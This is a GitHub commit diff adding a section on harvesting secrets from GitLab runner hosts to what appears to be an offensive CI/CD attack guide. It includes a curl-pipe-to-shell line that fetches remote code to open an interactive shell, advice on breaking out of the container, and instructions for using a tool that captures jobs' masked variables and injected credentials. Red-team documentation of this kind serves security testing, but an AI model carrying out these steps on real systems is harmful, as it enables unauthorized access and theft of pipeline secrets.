Skip to content

Commit fe6cdd0

Browse files
authored
Docs gl harvest (#611)
* ci: build and publish container image in release workflow * added runner host exploitation docs
1 parent 0f82d6c commit fe6cdd0

1 file changed

Lines changed: 10 additions & 0 deletions

File tree

docs/guides/gitlab.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -310,6 +310,16 @@ $ curl -sSf https://sshx.io/get | sh -s run
310310

311311
From the interactive shell, you can now try breakout to the host, or find runner misconfigurations e.g. host mounted volumes.
312312

313+
### Harvesting Runner Node Secrets
314+
315+
If you managed to break out of the container (or its a shell runner) to the underlying host, use [gl-runner-harvester](https://github.com/frjcomp/gl-runner-harvester) to monitor the runner for incoming jobs and dump their context.
316+
317+
```bash
318+
./gl-runner-harvester
319+
```
320+
321+
The tool sits on the runner host and intercepts jobs as they are picked up by the runner. For each job it captures the environment variables, cloned source code, and container images. This gives you access to secrets that may never appear in the job logs, such as masked CI/CD variables or credentials injected at runtime.
322+
313323
## Scanning Container Registries
314324

315325
If the GitLab instance has a container registry enabled, check if you have access to pull container images. These images often contain hardcoded secrets, credentials, or sensitive configuration files that were accidentally included during the build process.

0 commit comments

Comments
 (0)